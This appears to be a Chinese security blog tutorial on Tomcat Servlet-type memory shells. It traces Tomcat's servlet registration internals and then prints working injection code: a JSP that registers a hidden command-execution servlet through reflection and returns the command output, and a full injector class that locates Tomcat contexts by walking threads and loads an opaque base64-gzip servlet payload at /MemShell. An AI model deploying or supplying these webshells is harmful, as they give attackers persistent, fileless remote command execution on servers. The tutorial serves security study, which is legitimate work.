本质上就是动态注册路由,接收参数 -> 执行命令 -> 返回结果
相比于传统 WebShell,无文件落地更隐蔽,也适用于不能解析 jsp 的环境
Tomcat Servlet 型内存马 Servlet 注册流程 先看正常注册一个 Servlet 的流程,传统 Servlet 是通过 web.xml 注册的,在 3.0 之后支持了使用注解注册
通过 xml 配置 Servlet 打开 IDEA 新建项目(以前配置过 Tomcat 服务器,就不写了):
这里注意选择 Web 应用程序
,这样会自动添加 Servlet 依赖
选择 Java EE 8,创建
打开项目后能够看到 IDEA 以及给出了示例代码:
它是基于注解配置的,我们换成 xml 配置的便于后面理解
删去这个注解,然后修改 src\main\webapp\WEB-INF 下面的 web.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <servlet > <servlet-name > helloServlet</servlet-name > <servlet-class > com.servlet.HelloServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > helloServlet</servlet-name > <url-pattern > /hello-servlet</url-pattern > </servlet-mapping > </web-app >
分析注册流程 刚才的 xml 文件中配置了我们的 Servlet 的一些信息,比如 Servlet 名称、全限定类名、路径
从开发者视角看,我们是通过 编写 Servlet 类 + 编写配置文件 才注册了一个 Servlet
但是从攻击者视角,我们想要实现动态注册一个 Servlet 来当 webshell,肯定是没法像开发者那样去编辑服务端的环境的。在 java 漏洞利用中我们要么是命令执行要么是代码执行 。那么就只能看一下底层具体是怎么处理的,尝试通过代码执行直接实现一个 Servlet
我们知道 Servlet 的生命周期如下:
在 init() 下断点,然后看堆栈可以知道这个 Servlet 是怎么初始化的
堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 init:10 , HelloServlet (com.servlet) init:143 , GenericServlet (javax.servlet) initServlet:989 , StandardWrapper (org.apache.catalina.core) loadServlet:946 , StandardWrapper (org.apache.catalina.core) allocate:664 , StandardWrapper (org.apache.catalina.core) invoke:116 , StandardWrapperValve (org.apache.catalina.core) invoke:90 , StandardContextValve (org.apache.catalina.core) invoke:482 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:130 , StandardHostValve (org.apache.catalina.core) invoke:93 , ErrorReportValve (org.apache.catalina.valves) invoke:656 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:74 , StandardEngineValve (org.apache.catalina.core) service:346 , CoyoteAdapter (org.apache.catalina.connector) service:397 , Http11Processor (org.apache.coyote.http11) process:63 , AbstractProcessorLight (org.apache.coyote) process:935 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1826 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1189 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:658 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
这里要在 pom.xml 中导入 Tomcat 依赖,否则没法在 IDEA 调试 Tomcat 的代码,版本写自己的 Tomcat 版本
1 2 3 4 5 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 9.0.107</version > </dependency >
但是 Tomcat 加载这个 Servlet 的流程在执行 init() 之前就已经发生了,我们在这里是看不到 Tomcat 是如何加载 Servlet 的 , 所以我们只能提前下好断点然后运行 Tomcat
我们在这个堆栈中找到 org.apache.catalina.core.StandardWrapper,然后在它的 setServletClass 方法下断:
结束后重新 debug(如果是重启一定要选重启服务器 ),从堆栈找到上一层的 org.apache.catalina.startup.ContextConfig#configureContext
这里接收一个 webxml 参数,能够看到里面就是我们在 web.xml 中写的内容
看一下 configureContext 这个方法都干了什么:
这里涉及到了 Tomcat 的知识
关于 Tomcat 详细处理流程可以看 https://blog.csdn.net/u010883443/article/details/107463782
可以将一个 Context 简单理解成一个 Webapp
前面几行是从 web.xml 获取一些参数来确认标准、版本之类的,不重要 :
接下来写了一个 for 循环,读取 web.xml 中的 中的参数,然后添加到 context:
我们的为空,所以和注册 Servlet 没什么关系,不重要 ,继续往下看
依旧是获取从 web.xml 获取配置然后设置到 context 上
第一个参数 对应于 web.xml 文件中的 元素。当它被启用 (true) 时,服务器将自动拒绝任何没有被安全约束明确覆盖的 HTTP 方法
比如下面这种情况
1 2 3 4 5 6 7 8 9 <security-constraint > <web-resource-collection > <web-resource-name > My Protected Page</web-resource-name > <url-pattern > /admin/*</url-pattern > <http-method > GET</http-method > <http-method > POST</http-method > </web-resource-collection > ... </security-constraint >
没有使用明确指出的请求方法的请求就会被拒绝,不重要
第二个参数 对应于 web.xml 文件中的 ,它的作用是给 Webapp 起一个别名,便于管理员在 Tomcat 的后台进行管理,不重要
第三个参数 对应于 web.xml 文件中的 ,用来告诉servlet/JSP容器,Web容器中部署的应用程序适合在分布式环境下运行,不重要
继续往下看:
第一个 EJB 是 Enterprise JavaBeans 的缩写,不重要
第二个 ,不重要
第三个 ,环境变量,不重要
第四个 ,配置报错页面的信息,不重要
继续往下:
配置 Filter,后面学 Filter 内存马再看,现在暂时没用
继续
上面的 设置 jsp 配置的,不重要
下面是 ,后面学 Listener 内存马再看
编码,不重要
不重要
将一个消息目的地(例如 JMS 队列或主题)的 JNDI 名称和类型声明给 Web 容器 不重要
第一个 检查 web.xml
文件中的 <web-app>
标签是否设置了 metadata-complete="true"
属性,是的话就忽略注解, 这样做通常是为了加快应用启动速度,或者强制所有配置都集中在XML文件中,便于集中管理。
第二个 <mime-mapping>
配置 mime 映射,不重要
第三个 <request-character-encoding>
设置请求的编码,不重要
第四个 <resource-env-ref>
声明对一个资源环境条目的引用,不重要
第五个<resource-ref>
标签,并将它们添加到 context
的命名资源中,不重要
第六个 设置响应编码,不重要
第七个 <security-constraint>
标签。对于每个约束,它首先检查 <security-role>
中是否包含了特殊的 ROLE_ALL_AUTHENTICATED_USERS
角色,如果包含,则进行特殊处理,然后将这个安全约束添加到 context
中。 不重要
第八个 <security-role>
标签,把这些角色名称添加到 context
中,不重要
第九个 <service-ref>
标签,并将它们添加到 context
的命名资源中,不重要
到后面终于是 Servlet 相关的了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String,String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null ) { long maxFileSize = -1 ; long maxRequestSize = -1 ; int fileSizeThreshold = 0 ; if (null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if (null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if (null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement (multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null ) { wrapper.setAsyncSupported(servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); } for (Entry<String,String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); }
首先遍历 web.xml 中的 ServletDef,然后新建一个 Wrapper:
这个 Wrapper 就是后面用来封装 Servlet 的,很重要,再放一遍之前的图:
然后进行了一些判断:
第一个是设置加载的
当 LoadOnStartup 值为0或者大于0时,表示容器在应用启动时就加载这个 servlet,数字越小优先级越高;
当 LoadOnStartup 是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载
所以这个其实对我们意义不大,加不加都行
第二个是设置启用还是禁用,我们不用管,让它默认为 null 就行
接着给 Wrapper 设置名字:
这个重要
然后是设置初始参数:
也不是必要的,继续看
这是在配置 Servlet 的安全设置 ,也不重要,继续:
这一句非常关键,它将要注册的 Servlet 的 class 对象配置到了 Wrapper 里面
后面是获取多部分配置,不是必要的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 MultipartDef multipartdef = servlet.getMultipartDef();if (multipartdef != null ) { long maxFileSize = -1 ; long maxRequestSize = -1 ; int fileSizeThreshold = 0 ; if (null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if (null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if (null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement (multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); }
继续,配置异步支持配置,不重要:
然后设置是否重写,也不重要
但是下一句很重要,它将 Wrapper 添加到 Context 了
最后配置映射:
总结一下我们一共经历了哪些步骤 :
1、创建 Wrapper
1 Wrapper wrapper = context.createWrapper();
2、给 Wrapper 设置名字
1 wrapper.setName(servlet.getServletName());
3、给 Wrapper 设置 Servlet 的 class 类
1 wrapper.setServletClass(servlet.getServletClass());
4、把 Wrapper 放到 Context 里
1 context.addChild(wrapper);
5、配置映射
(如果是 Tomcat7 的话这里应该是 addServletMapping)
1 context.addServletMappingDecoded(entry.getKey(), entry.getValue());
补充:
还有一步,就是要先实例化我们的 Servlet 然后调用 wrapper.setServlet(servlet)
设置 Servlet 对象
1 wrapper.setServlet(servlet)
整个流程其实可以参考 org.apache.catalina.core.ApplicationContext#addServlet(java.lang.String, java.lang.String, javax.servlet.Servlet, java.util.Map<java.lang.String,java.lang.String>) 中的写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 private ServletRegistration.Dynamic addServlet (String servletName, String servletClass, Servlet servlet, Map<String,String> initParams) throws IllegalStateException { if (servletName == null || servletName.isEmpty()) { throw new IllegalArgumentException (sm.getString("applicationContext.invalidServletName" , servletName)); } checkState("applicationContext.addServlet.ise" ); Wrapper wrapper = (Wrapper) context.findChild(servletName); if (wrapper == null ) { wrapper = context.createWrapper(); wrapper.setName(servletName); context.addChild(wrapper); } else { if (wrapper.getName() != null && wrapper.getServletClass() != null ) { if (wrapper.isOverridable()) { wrapper.setOverridable(false ); } else { return null ; } } } ServletSecurity annotation = null ; if (servlet == null ) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(context, servletClass); if (clazz != null ) { annotation = clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (context.wasCreatedDynamicServlet(servlet)) { annotation = servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null ) { for (Map.Entry<String,String> initParam : initParams.entrySet()) { wrapper.addInitParameter(initParam.getKey(), initParam.getValue()); } } ServletRegistration.Dynamic registration = new ApplicationServletRegistration (wrapper, context); if (annotation != null ) { registration.setServletSecurity(new ServletSecurityElement (annotation)); } return registration; }
编写内存马 首先我们要先编写一个 Servlet
1 2 3 4 5 6 7 8 9 10 HttpServlet servlet = new HttpServlet () { public void init () {} public void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { String cmd = request.getParameter("cmd" ); Process process = Runtime.getRuntime().exec(cmd); } public void destroy () {} };
然后创建 Wrapper,这里需要调用 StandardContext 的 createWrapper 方法,所以需要先用反射获取 StandardContext
网上很多文章都是用 jsp 直接获取当前的 request 对象然后反射从 servletContext 中拿 applicationContext,再从 applicationContext 中反射拿 standardContext,比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="javax.servlet.Servlet" %> <%@ page import ="javax.servlet.ServletConfig" %> <%@ page import ="javax.servlet.ServletContext" %> <%@ page import ="javax.servlet.ServletRequest" %> <%@ page import ="javax.servlet.ServletResponse" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.PrintWriter" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>MemoryShellInjectDemo</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String servletURL = "/" + getRandomString(); String servletName = "Servlet" + getRandomString(); Servlet servlet = new Servlet () { @Override public void init (ServletConfig servletConfig) {} @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { String cmd = servletRequest.getParameter("cmd" ); { InputStream in = Runtime.getRuntime().exec(new String []{"cmd" , "/c" , cmd}).getInputStream(); Scanner s = new Scanner (in, "GBK" ).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; servletResponse.setCharacterEncoding("GBK" ); PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }; Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(servletName); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded(servletURL, servletName); response.getWriter().write("[+] Success!!!<br><br>[*] ServletURL: " + servletURL + "<br><br>[*] ServletName: " + servletName + "<br><br>[*] shellURL: http://localhost:8080/zhandian1" + servletURL + "?cmd=echo 世界,你好!" ); } catch (Exception e) { String errorMessage = e.getMessage(); response.setCharacterEncoding("UTF-8" ); PrintWriter outError = response.getWriter(); outError.println("Error: " + errorMessage); outError.flush(); outError.close(); } %> </body> </html> <%! private String getRandomString () { String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ; StringBuilder randomString = new StringBuilder (); for (int i = 0 ; i < 8 ; i++) { int index = (int ) (Math.random() * characters.length()); randomString.append(characters.charAt(index)); } return randomString.toString(); } %>
但是我们这里想用的是反序列化时单纯的代码执行去实现内存马注入,没法直接拿到 request 对象,所以要麻烦一点,这里直接拿 MemShellPart 里的用了
通过遍历JVM中的所有线程,利用反射机制从Tomcat容器的内部数据结构中提取Web应用的上下文(Context)信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 package org.apache.http.client.NGeWa;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.PrintStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Collection;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Set;import java.util.zip.GZIPInputStream;public class DateUtil { public DateUtil () { try { List var1 = this .getContext(); Iterator var2 = var1.iterator(); while (var2.hasNext()) { Object var3 = var2.next(); Object var4 = this .getShell(var3); this .inject(var3, var4); } } catch (Exception var5) { } } public String getClassName () { return "org.apache.http.web.handlers.MEJoa.ErrorServlet" ; } public String getBase64String () { return "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" ; } public String getUrlPattern () { return "/MemShell" ; } public List<Object> getContext () throws Exception { ArrayList var1 = new ArrayList (); Set var2 = Thread.getAllStackTraces().keySet(); Iterator var3 = var2.iterator(); while (true ) { while (var3.hasNext()) { Thread var4 = (Thread)var3.next(); if (var4.getName().contains("ContainerBackgroundProcessor" )) { Map var5 = (Map)getFieldValue(getFieldValue(getFieldValue(var4, "target" ), "this$0" ), "children" ); Iterator var6 = var5.values().iterator(); while (var6.hasNext()) { Object var7 = var6.next(); Map var8 = (Map)getFieldValue(var7, "children" ); var1.addAll(var8.values()); } } else if (var4.getContextClassLoader() != null && (var4.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader" ) || var4.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader" ))) { var1.add(getFieldValue(getFieldValue(var4.getContextClassLoader(), "resources" ), "context" )); } } return var1; } } private ClassLoader getWebAppClassLoader (Object var1) { try { return (ClassLoader)invokeMethod(var1, "getClassLoader" , (Class[])null , (Object[])null ); } catch (Exception var4) { Object var3 = invokeMethod(var1, "getLoader" , (Class[])null , (Object[])null ); return (ClassLoader)invokeMethod(var3, "getClassLoader" , (Class[])null , (Object[])null ); } } private Object getShell (Object var1) throws Exception { ClassLoader var2 = this .getWebAppClassLoader(var1); try { return var2.loadClass(this .getClassName()).newInstance(); } catch (Exception var7) { byte [] var4 = gzipDecompress(decodeBase64(this .getBase64String())); Method var5 = ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, Integer.TYPE, Integer.TYPE); var5.setAccessible(true ); Class var6 = (Class)var5.invoke(var2, var4, 0 , var4.length); return var6.newInstance(); } } public void inject (Object var1, Object var2) throws Exception { PrintStream var10000; String var10001; if (this .isInjected(var1)) { var10000 = System.out; var10001 = "servlet already injected" ; } else { ClassLoader var3 = var1.getClass().getClassLoader(); Class var4 = var3.loadClass("org.apache.catalina.Container" ); Object var5 = invokeMethod(var1, "createWrapper" , (Class[])null , (Object[])null ); invokeMethod(var5, "setName" , new Class []{String.class}, new Object []{this .getClassName()}); invokeMethod(var5, "setLoadOnStartup" , new Class []{Integer.TYPE}, new Object []{1 }); setFieldValue(var5, "instance" , var2); invokeMethod(var5, "setServletClass" , new Class []{String.class}, new Object []{this .getClassName()}); invokeMethod(var1, "addChild" , new Class []{var4}, new Object []{var5}); try { invokeMethod(var1, "addServletMapping" , new Class []{String.class, String.class}, new Object []{this .getUrlPattern(), this .getClassName()}); } catch (Exception var7) { invokeMethod(var1, "addServletMappingDecoded" , new Class []{String.class, String.class, Boolean.TYPE}, new Object []{this .getUrlPattern(), this .getClassName(), false }); } this .support56Inject(var1, var5); var10000 = System.out; var10001 = "servlet inject success" ; } } public boolean isInjected (Object var1) throws Exception { Map var2 = (Map)getFieldValue(var1, "servletMappings" ); Collection var3 = var2.values(); Iterator var4 = var3.iterator(); String var5; do { if (!var4.hasNext()) { return false ; } var5 = (String)var4.next(); } while (!var5.equals(this .getClassName())); return true ; } private void support56Inject (Object var1, Object var2) throws Exception { ClassLoader var3 = var1.getClass().getClassLoader(); Class var4 = var3.loadClass("org.apache.catalina.util.ServerInfo" ); String var5 = (String)invokeMethod(var4, "getServerNumber" , (Class[])null , (Object[])null ); if (var5.startsWith("5" ) || var5.startsWith("6" )) { Object var6 = getFieldValue(getFieldValue(getFieldValue(getFieldValue(var1, "parent" ), "parent" ), "service" ), "connectors" ); int var7 = Array.getLength(var6); for (int var8 = 0 ; var8 < var7; ++var8) { Object var9 = Array.get(var6, var8); String var10 = (String)getFieldValue(var9, "protocolHandlerClassName" ); if (var10.contains("Http" )) { Object var11 = getFieldValue(getFieldValue(Array.get(getFieldValue(getFieldValue(var9, "mapper" ), "hosts" ), 0 ), "contextList" ), "contexts" ); int var12 = Array.getLength(var11); for (int var13 = 0 ; var13 < var12; ++var13) { Object var14 = Array.get(var11, var13); if (getFieldValue(var14, "object" ) == var1) { Class var15 = var3.loadClass("org.apache.tomcat.util.http.mapper.Mapper" ); Class var16 = var3.loadClass("org.apache.tomcat.util.http.mapper.Mapper$Wrapper" ); Constructor var17 = var16.getDeclaredConstructors()[0 ]; var17.setAccessible(true ); Object var18 = var17.newInstance(); setFieldValue(var18, "object" , var2); setFieldValue(var18, "jspWildCard" , false ); setFieldValue(var18, "name" , this .getUrlPattern()); Object var19 = getFieldValue(var14, "exactWrappers" ); int var20 = Array.getLength(var19); Object var21 = Array.newInstance(var16, var20 + 1 ); Class var22 = var3.loadClass("org.apache.tomcat.util.http.mapper.Mapper$MapElement" ); Class var23 = Array.newInstance(var22, 0 ).getClass(); invokeMethod(var15, "insertMap" , new Class []{var23, var23, var22}, new Object []{var19, var21, var18}); setFieldValue(var14, "exactWrappers" , var21); } } } } } } public static byte [] decodeBase64(String var0) throws Exception { Class var1; try { var1 = Class.forName("java.util.Base64" ); Object var2 = var1.getMethod("getDecoder" ).invoke((Object)null ); return (byte [])((byte [])var2.getClass().getMethod("decode" , String.class).invoke(var2, var0)); } catch (Exception var3) { var1 = Class.forName("sun.misc.BASE64Decoder" ); return (byte [])((byte [])var1.getMethod("decodeBuffer" , String.class).invoke(var1.newInstance(), var0)); } } public static byte [] gzipDecompress(byte [] var0) throws IOException { ByteArrayOutputStream var1 = new ByteArrayOutputStream (); GZIPInputStream var2 = null ; try { var2 = new GZIPInputStream (new ByteArrayInputStream (var0)); byte [] var3 = new byte [4096 ]; int var4; while ((var4 = var2.read(var3)) > 0 ) { var1.write(var3, 0 , var4); } byte [] var5 = var1.toByteArray(); return var5; } finally { if (var2 != null ) { var2.close(); } var1.close(); } } public static Object getFieldValue (Object var0, String var1) throws Exception { Field var2 = getField(var0, var1); var2.setAccessible(true ); return var2.get(var0); } public static Field getField (Object var0, String var1) throws NoSuchFieldException { Class var2 = var0.getClass(); while (var2 != null ) { try { Field var3 = var2.getDeclaredField(var1); var3.setAccessible(true ); return var3; } catch (NoSuchFieldException var4) { var2 = var2.getSuperclass(); } } throw new NoSuchFieldException (var1); } public static void setFieldValue (Object var0, String var1, Object var2) throws Exception { Field var3 = getField(var0, var1); var3.setAccessible(true ); var3.set(var0, var2); } public static Object invokeMethod (Object var0, String var1, Class<?>[] var2, Object[] var3) { try { Class var4 = var0 instanceof Class ? (Class)var0 : var0.getClass(); Method var5 = null ; while (var4 != null && var5 == null ) { try { if (var2 == null ) { var5 = var4.getDeclaredMethod(var1); } else { var5 = var4.getDeclaredMethod(var1, var2); } } catch (NoSuchMethodException var7) { var4 = var4.getSuperclass(); } } if (var5 == null ) { throw new NoSuchMethodException ("Method not found: " + var1); } else { var5.setAccessible(true ); return var5.invoke(var0 instanceof Class ? null : var0, var3); } } catch (Exception var8) { throw new RuntimeException ("Error invoking method: " + var1, var8); } } }
测试内存马 搭建一个反序列化的环境,来测试注入内存马
在依赖中添加 CC3.2.1 的依赖,注意把 jdk 版本调到 8u71 以下:
